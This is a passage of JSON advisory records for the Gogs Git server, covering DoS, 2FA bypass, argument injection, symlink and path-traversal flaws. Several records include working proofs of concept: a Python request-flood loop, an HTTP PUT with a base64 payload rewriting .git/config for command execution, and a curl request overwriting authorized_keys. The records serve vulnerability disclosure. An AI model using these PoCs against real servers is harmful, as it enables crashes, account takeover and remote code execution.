0.13.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cWh4LWd3ZmotNmpxcs4ABSCR/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jcjg4LTZtcW0tNGc1N84ABSCQ","url":"https://github.com/advisories/GHSA-cr88-6mqm-4g57","title":"Gogs has a Denial of Service issue","description":"### Summary\nAn authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.\n\n### Details\nIf GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits.\nhttps://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337\nif `err != nil` `m` is alwasa `nil`\nhttps://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278\n### PoC\nSpam mirror-sync on repo and delete this repo\ncode python spam mirror-sync\n```py\nimport requests\n\nurl = \"http://gogs.lan:3000/superuser/gobypass403/settings\"\nheaders = {\n    \"Cookie\": \"lang=en-US; i_like_gogs=fe32281ab84ae868; _csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg\",\n}\n\ndata = {\n    \"_csrf\": \"UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg\",\n    \"action\": \"mirror-sync\",\n}\n\nwhile True:\n    print(\"syncing\")\n    response = requests.post(url, headers=headers, data=data)\n```\n### Impact\nDenial of Service server crash.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-02-06T18:08:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/gogs/gogs/security/advisories/GHSA-cr88-6mqm-4g57","https://github.com/gogs/gogs/commit/961a79e8f9f2b3190ea804bcf635e4b43b123272","https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278","https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337","https://nvd.nist.gov/vuln/detail/CVE-2026-22592","https://github.com/advisories/GHSA-cr88-6mqm-4g57"],"source_kind":"github","identifiers":["GHSA-cr88-6mqm-4g57","CVE-2026-22592"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-06T19:00:08.072Z","updated_at":"2026-08-28T13:04:09.306Z","epss_percentage":0.00336,"epss_percentile":0.26068,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcjg4LTZtcW0tNGc1N84ABSCQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jcjg4LTZtcW0tNGc1N84ABSCQ","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.13.4","vulnerable_version_range":"\u003c= 0.13.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcjg4LTZtcW0tNGc1N84ABSCQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wNng2LTlteDYtMjZ3as4ABSCM","url":"https://github.com/advisories/GHSA-p6x6-9mx6-26wj","title":"Gogs Vulnerable to  2FA Bypass via Recovery Code","description":"Contact OpenAI Security Research at outbounddisclosures@openai.com to engage on this report.  \nSee PDF report for easier reading.\n\nSecurity Advisory: 2FA Bypass via Recovery Code\nVulnerability Type: 2FA Authentication Bypass\nAffected Software: GOGS\nSeverity: High\nDate: Aug 5, 2025\nDiscoverer: OpenAI Security Research\nSummary\nGogs’ 2FA recovery code validation does not scope codes by user, enabling cross-account bypass. If an attacker knows a victim’s username and password, they can use\n[Security Advisory_ 2FA Bypass via Recovery Code - Google Docs.pdf](https://github.com/user-attachments/files/21643266/Security.Advisory_.2FA.Bypass.via.Recovery.Code.-.Google.Docs.pdf)\n any unused recovery code (e.g., from their own account) to bypass the victim’s 2FA. This enables full account takeover and renders 2FA ineffective in all environments where it's enabled.\nAffected Versions\nSoftware: [Gogs](https://github.com/gogs/gogs/tree/main)\nConfirmed Version(s): All versions with 2FA support\nLikely Affected: All versions since introduction of UseRecoveryCode logic\nIntroduced Commit: [a617d52374e937db0edacfba2a26bdd14a05538e](https://github.com/gogs/gogs/commit/a617d52374e937db0edacfba2a26bdd14a05538e) \nCommit: a617d52374e937db0edacfba2a26bdd14a05538e\nAuthor: Joe Chen\nDate: Apr 5, 2017\nDescription: 2fa: initial support \n\nVulnerability Details\nThe function UseRecoveryCode in internal/database/two_factor.go fails to check that the recovery code belongs to the authenticating user. Instead, it looks for any unused recovery code:\nVulnerable Code Snippet\n```go\nfunc UseRecoveryCode(_ int64, code string) error {\n    recoveryCode := new(TwoFactorRecoveryCode)\n    has, err := x.Where(\"code = ?\", code).And(\"is_used = ?\", false).Get(recoveryCode)\n    ...\n}\n```\nAlthough the caller passes userID, it is ignored. The result is a global lookup for any unused code, allowing an attacker to submit their own recovery code during another user's login flow.\n\nCall Chain\n\nweb login handler\n  → UseRecoveryCode(userID, code)\n    → DB query without userID constraint\nProof-of-Concept (PoC)\nDescription\nThis bug is tested against the latest version of Gogs hosted on [Dockerhub](https://hub.docker.com/r/gogs/gogs). Attacker uses their own recovery code to bypass another user’s 2FA.\nSteps\nCreate attacker account A and enable 2FA. Save a code like \"abcde-fghij\".\nObtain credentials for victim B.\nAttempt login as B via web.\nWhen prompted for recovery code, submit A's code.\nLogin as B succeeds; A's code is marked as used.\n\n\nImpact\n2FA rendered ineffective for all users\nRealistic Exploitation Scenarios\nPublic Gogs instances with 2FA enabled\nDeveloper or maintainer accounts\nEnterprise self-hosted Gogs servers\nPotential Impact\nThis vulnerability critically undermines 2FA. Since recovery codes are not globally unique and lack user scoping, any attacker with victim credentials can use one of their own recovery codes to complete login as the victim — bypassing all 2FA protections. This opens the door to account hijacking, data exfiltration, and downstream supply chain compromise.\nTimeline\nAugust 2025: Discovered via GPT5\nAugust 2025: Reproduced and confirmed via PoC and sanitizer\nAug 6, 2025 - Sent to Gogs via https://github.com/gogs/gogs/security/advisories/new\n\n\nThis information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is.  OpenAI Security Research makes no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. [This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.]\nOpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-06T17:54:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-p6x6-9mx6-26wj","https://github.com/gogs/gogs/commit/a617d52374e937db0edacfba2a26bdd14a05538e","https://github.com/gogs/gogs/commit/d568e048315dc9729c8518d8085cab7dbbfac80f","https://nvd.nist.gov/vuln/detail/CVE-2025-64175","https://github.com/advisories/GHSA-p6x6-9mx6-26wj"],"source_kind":"github","identifiers":["GHSA-p6x6-9mx6-26wj","CVE-2025-64175"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-06T18:00:07.992Z","updated_at":"2026-08-28T13:04:09.307Z","epss_percentage":0.00424,"epss_percentile":0.35101,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNng2LTlteDYtMjZ3as4ABSCM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNng2LTlteDYtMjZ3as4ABSCM","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.13.4","vulnerable_version_range":"\u003e= 0.11.19, \u003c= 0.13.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNng2LTlteDYtMjZ3as4ABSCM/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nZzY0LXh4cjktcWhqcM4ABSCL","url":"https://github.com/advisories/GHSA-gg64-xxr9-qhjp","title":"Gogs's update .git/config file allows remote command execution","description":"### Summary\nDue to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the `.git` directory and achieve remote command execution.\n\n### Details\nFunction `UpdateRepoFile` security check under some if conditions. While UpdateRepoFile call in API router  will NOT match any of them.  It's still possible to update `.git/config` file via API router.\nhttps://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206\n\n\n\n### PoC\n```bash\n# add a symlink file and push to repo.\nln -s .git/config link\ngit add link\ngit commit -m 'add' \u0026\u0026 git push\n```\n\nUpdate file via API router\n```http\nPUT /api/v1/repos/demo/vul/contents/link HTTP/1.1\nContent-Type: application/json\nHost: localhost:3000\nAuthorization: token {token}\n\n{\"message\":\"message\",\"committer\":{\"name\":\"test\",\"email\":\"a@b.com\"},\"content\":\"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy\"}\n```\n\n### Impact\nRCE","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-02-06T17:49:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-gg64-xxr9-qhjp","https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206","https://nvd.nist.gov/vuln/detail/CVE-2025-64111","https://github.com/advisories/GHSA-gg64-xxr9-qhjp"],"source_kind":"github","identifiers":["GHSA-gg64-xxr9-qhjp","CVE-2025-64111"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-06T18:00:07.992Z","updated_at":"2026-09-03T07:04:19.744Z","epss_percentage":0.01229,"epss_percentile":0.66791,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZzY0LXh4cjktcWhqcM4ABSCL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nZzY0LXh4cjktcWhqcM4ABSCL","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.13.4","vulnerable_version_range":"\u003c= 0.13.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZzY0LXh4cjktcWhqcM4ABSCL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tcThtLTQyZ2gtd3E3cs4ABPgE","url":"https://github.com/advisories/GHSA-mq8m-42gh-wq7r","title":"Gogs vulnerable to a bypass of CVE-2024-55947","description":"Improper Symbolic link handling in the PutContents API in Gogs allows Local Execution of Code.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-12-10T15:31:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:A","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-8110","http://wiz.io/blog/wiz-research-gogs-cve-2025-8110-rce-exploit","http://www.openwall.com/lists/oss-security/2025/12/11/3","http://www.openwall.com/lists/oss-security/2025/12/11/4","https://github.com/advisories/GHSA-mq8m-42gh-wq7r","https://github.com/gogs/gogs/pull/8078","https://github.com/gogs/gogs/pull/8082","https://github.com/gogs/gogs/commit/553707f3fd5f68f47f531cfcff56aa3ec294c6f6","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-8110","http://www.openwall.com/lists/oss-security/2026/01/17/4","http://www.openwall.com/lists/oss-security/2026/01/18/1","http://www.openwall.com/lists/oss-security/2026/01/18/2"],"source_kind":"github","identifiers":["GHSA-mq8m-42gh-wq7r","CVE-2025-8110"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-10T18:00:08.282Z","updated_at":"2026-08-14T00:07:00.921Z","epss_percentage":0.82693,"epss_percentile":0.99637,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcThtLTQyZ2gtd3E3cs4ABPgE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tcThtLTQyZ2gtd3E3cs4ABPgE","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.13.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcThtLTQyZ2gtd3E3cs4ABPgE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13ajQ0LTl2Y2ctd2pxN84ABJYZ","url":"https://github.com/advisories/GHSA-wj44-9vcg-wjq7","title":"Gogs allows deletion of internal files which leads to remote command execution","description":"### Summary\nDue to the insufficient patch for the CVE-2024-39931, it's still possible to delete files under the `.git` directory and achieve remote command execution.\n\n### Details\nIn the patch for CVE-2024-39931, the following check is added:\nhttps://github.com/gogs/gogs/commit/77a4a945ae9a87f77e392e9066b560edb71b5de9\n\n```diff\n+\t// 🚨 SECURITY: Prevent uploading files into the \".git\" directory\n+\tif isRepositoryGitPath(opts.TreePath) {\n+\t\treturn errors.Errorf(\"bad tree path %q\", opts.TreePath)\n+\t}\n```\n\n\nWhile the above code snippet checks if the specified path is a `.git` directory, there are no checks for symbolic links in the later steps. So, by creating a symbolic link that points to the `.git` directory, an attacker can still delete arbitrary files in the `.git` directory and achieve remote command execution.\n\n### Impact\nUnprivileged user accounts can execute arbitrary commands on the Gogs instance with the privileges of the account specified by `RUN_USER` in the configuration. It allows attackers to access and alter any users' code hosted on the same instance.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-06-24T19:00:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7","https://nvd.nist.gov/vuln/detail/CVE-2024-56731","https://github.com/gogs/gogs/commit/77a4a945ae9a87f77e392e9066b560edb71b5de9","https://github.com/advisories/GHSA-ccqv-43vm-4f3w","https://github.com/gogs/gogs/releases/tag/v0.13.3","https://github.com/advisories/GHSA-wj44-9vcg-wjq7"],"source_kind":"github","identifiers":["GHSA-wj44-9vcg-wjq7","CVE-2024-56731"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2025-06-24T19:09:04.443Z","updated_at":"2026-09-03T07:05:48.377Z","epss_percentage":0.00959,"epss_percentile":0.59022,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ajQ0LTl2Y2ctd2pxN84ABJYZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13ajQ0LTl2Y2ctd2pxN84ABJYZ","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.13.3","vulnerable_version_range":"\u003c= 0.13.2"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ajQ0LTl2Y2ctd2pxN84ABJYZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12bTYyLTlqdzMtYzh3M84ABCrd","url":"https://github.com/advisories/GHSA-vm62-9jw3-c8w3","title":"Gogs has an argument Injection in the built-in SSH server","description":"### Impact\n\nWhen the built-in SSH server is enabled (`[server] START_SSH_SERVER = true`), unprivileged user accounts with at least one SSH key can execute arbitrary commands on the Gogs instance with the privileges of the user specified by `RUN_USER` in the configuration. It allows attackers to access and alter any users' code hosted on the same instance.\n\n### Patches\n\nThe `env` command sent to the internal SSH server has been changed to be a passthrough (https://github.com/gogs/gogs/pull/7868), i.e. the feature is effectively removed. Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\n[Disable the use of built-in SSH server](https://github.com/gogs/gogs/blob/7adac94f1e93cc5c3545ea31688662dcef9cd737/conf/app.ini#L76-L77) on operating systems other than Windows.\n\n### References\n\nhttps://www.cve.org/CVERecord?id=CVE-2024-39930\n","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-12-23T20:38:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.9,"cvss_vector":"CVSS:3.1/AC:L/AV:N/A:H/C:H/I:H/PR:L/S:C/UI:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-vm62-9jw3-c8w3","https://www.sonarsource.com/blog/securing-developer-tools-unpatched-code-vulnerabilities-in-gogs-1","https://www.vicarius.io/vsociety/posts/argument-injection-in-gogs-ssh-server-cve-2024-39930","https://github.com/advisories/GHSA-vm62-9jw3-c8w3"],"source_kind":"github","identifiers":["GHSA-vm62-9jw3-c8w3","CVE-2024-39930"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2024-12-23T21:07:58.541Z","updated_at":"2026-08-14T00:10:07.794Z","epss_percentage":0.07743,"epss_percentile":0.94056,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12bTYyLTlqdzMtYzh3M84ABCrd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12bTYyLTlqdzMtYzh3M84ABCrd","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.13.1","vulnerable_version_range":"\u003c= 0.13.0"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12bTYyLTlqdzMtYzh3M84ABCrd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05cHA2LXdxOGMtM3cyY84ABCrc","url":"https://github.com/advisories/GHSA-9pp6-wq8c-3w2c","title":"Gogs allows argument injection during the previewing of changes","description":"### Impact\n\nUnprivileged user accounts can write to arbitrary files on the filesystem. We could demonstrate its exploitation to force a re-installation of the instance, granting administrator rights. It allows accessing and altering any user's code hosted on the same instance.\n\n### Patches\n\nUnintended Git options has been ignored for diff preview (https://github.com/gogs/gogs/pull/7871). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nhttps://www.cve.org/CVERecord?id=CVE-2024-39932\n","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-12-23T20:38:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.9,"cvss_vector":"CVSS:3.1/AC:L/AV:N/A:H/C:H/I:H/PR:L/S:C/UI:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-9pp6-wq8c-3w2c","https://nvd.nist.gov/vuln/detail/CVE-2024-39932","https://www.sonarsource.com/blog/securing-developer-tools-unpatched-code-vulnerabilities-in-gogs-1","https://github.com/advisories/GHSA-9pp6-wq8c-3w2c"],"source_kind":"github","identifiers":["GHSA-9pp6-wq8c-3w2c","CVE-2024-39932"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2024-12-23T21:07:58.563Z","updated_at":"2026-08-14T00:10:07.795Z","epss_percentage":0.17315,"epss_percentile":0.96789,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cHA2LXdxOGMtM3cyY84ABCrc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05cHA2LXdxOGMtM3cyY84ABCrc","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.13.1","vulnerable_version_range":"\u003c= 0.13.0"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cHA2LXdxOGMtM3cyY84ABCrc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jY3F2LTQzdm0tNGYzd84ABCrb","url":"https://github.com/advisories/GHSA-ccqv-43vm-4f3w","title":"Gogs allows deletion of internal files","description":"### Impact\n\nUnprivileged user accounts can execute arbitrary commands on the Gogs instance with the privileges of the account specified by `RUN_USER` in the configuration. It allows attackers to access and alter any users' code hosted on the same instance.\n\n### Patches\n\nDeletion of `.git` files has been prohibited (https://github.com/gogs/gogs/pull/7870). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nhttps://www.cve.org/CVERecord?id=CVE-2024-39931\n","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-12-23T20:38:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.9,"cvss_vector":"CVSS:3.1/AC:L/AV:N/A:H/C:H/I:H/PR:L/S:C/UI:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-ccqv-43vm-4f3w","https://nvd.nist.gov/vuln/detail/CVE-2024-39931","https://www.sonarsource.com/blog/securing-developer-tools-unpatched-code-vulnerabilities-in-gogs-1","https://github.com/advisories/GHSA-ccqv-43vm-4f3w"],"source_kind":"github","identifiers":["GHSA-ccqv-43vm-4f3w","CVE-2024-39931"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2024-12-23T21:07:58.583Z","updated_at":"2026-08-14T00:10:07.795Z","epss_percentage":0.52658,"epss_percentile":0.98859,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jY3F2LTQzdm0tNGYzd84ABCrb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jY3F2LTQzdm0tNGYzd84ABCrb","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.13.1","vulnerable_version_range":"\u003c= 0.13.0"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jY3F2LTQzdm0tNGYzd84ABCrb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tMjdtLWg1Z2otd3dtZ84ABCra","url":"https://github.com/advisories/GHSA-m27m-h5gj-wwmg","title":"Gogs allows argument Injection when tagging new releases","description":"### Impact\n\nUnprivileged user accounts with at least one SSH key can read arbitrary files on the system. For instance, they could leak the configuration files that could contain database credentials (`[database] *`) and `[security] SECRET_KEY`. Attackers could also exfiltrate TLS certificates, other users' repositories, and the Gogs database when the SQLite driver is enabled.\n\n### Patches\n\nUnintended Git options has been ignored for creating tags (https://github.com/gogs/gogs/pull/7872). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nhttps://www.cve.org/CVERecord?id=CVE-2024-39933\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-12-23T20:38:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:3.1/AC:L/AV:N/A:N/C:H/I:N/PR:L/S:C/UI:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-m27m-h5gj-wwmg","https://nvd.nist.gov/vuln/detail/CVE-2024-39933","https://github.com/gogs/gogs/pull/7872","https://github.com/gogs/gogs/commit/76831d0d06c44c5cf46dc22b380440b7507c2f07","https://www.sonarsource.com/blog/securing-developer-tools-unpatched-code-vulnerabilities-in-gogs-1","https://github.com/advisories/GHSA-m27m-h5gj-wwmg"],"source_kind":"github","identifiers":["GHSA-m27m-h5gj-wwmg","CVE-2024-39933"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2024-12-23T21:07:58.609Z","updated_at":"2026-09-03T07:06:49.993Z","epss_percentage":0.00695,"epss_percentile":0.50545,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tMjdtLWg1Z2otd3dtZ84ABCra","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tMjdtLWg1Z2otd3dtZ84ABCra","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.13.1","vulnerable_version_range":"\u003c= 0.13.0"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tMjdtLWg1Z2otd3dtZ84ABCra/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xZjV2LXJwNDctNTVnZ84ABCrN","url":"https://github.com/advisories/GHSA-qf5v-rp47-55gg","title":"Path Traversal in file update API in gogs","description":"### Impact\n\nThe malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. \n\n### Patches\n\nWriting files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Generate a Personal Access Tokens\n2. Edit any file on the server with this\n\n    ```bash\n    curl -v --path-as-is -X PUT --url \"http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys\" \\\n    -H \"Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf\" \\\n    -H \"Content-Type: application/json\" \\\n    --data '{\n      \"message\": \"an\",\n      \"content\": \"\u003cbase64encoded: your ssh pub key\u003e\"\n    }'\n    ```\n\n3. ssh connect to remote server\n\n    ```bash\n    ssh -i temp git@localhost -p 10022\n    ```\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-12-23T17:53:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg","https://nvd.nist.gov/vuln/detail/CVE-2024-55947","https://github.com/gogs/gogs/issues/7582","https://github.com/gogs/gogs/pull/7859","https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41","https://github.com/advisories/GHSA-qf5v-rp47-55gg"],"source_kind":"github","identifiers":["GHSA-qf5v-rp47-55gg","CVE-2024-55947"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2024-12-23T18:08:11.890Z","updated_at":"2026-08-14T00:10:07.798Z","epss_percentage":0.75197,"epss_percentile":0.9945,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZjV2LXJwNDctNTVnZ84ABCrN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xZjV2LXJwNDctNTVnZ84ABCrN","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.13.1","vulnerable_version_range":"\u003c 0.13.1"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZjV2LXJwNDctNTVnZ84ABCrN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yN2o4LTVoOWMtZjZmeM4ABCrM","url":"https://github.com/advisories/GHSA-r7j8-5h9c-f6fx","title":"Remote Command Execution in file editing in gogs","description":"### Impact\n\nThe malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. \n\n### Patches\n\nEditing symlink while changing the file name has been prohibited via the repository web editor (https://github.com/gogs/gogs/pull/7857). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Create two repositories, upload something to the first repository, edit any file, and save it on the webpage.\n2. In the second repository, create a symbolic link to the file you need to edit:\n    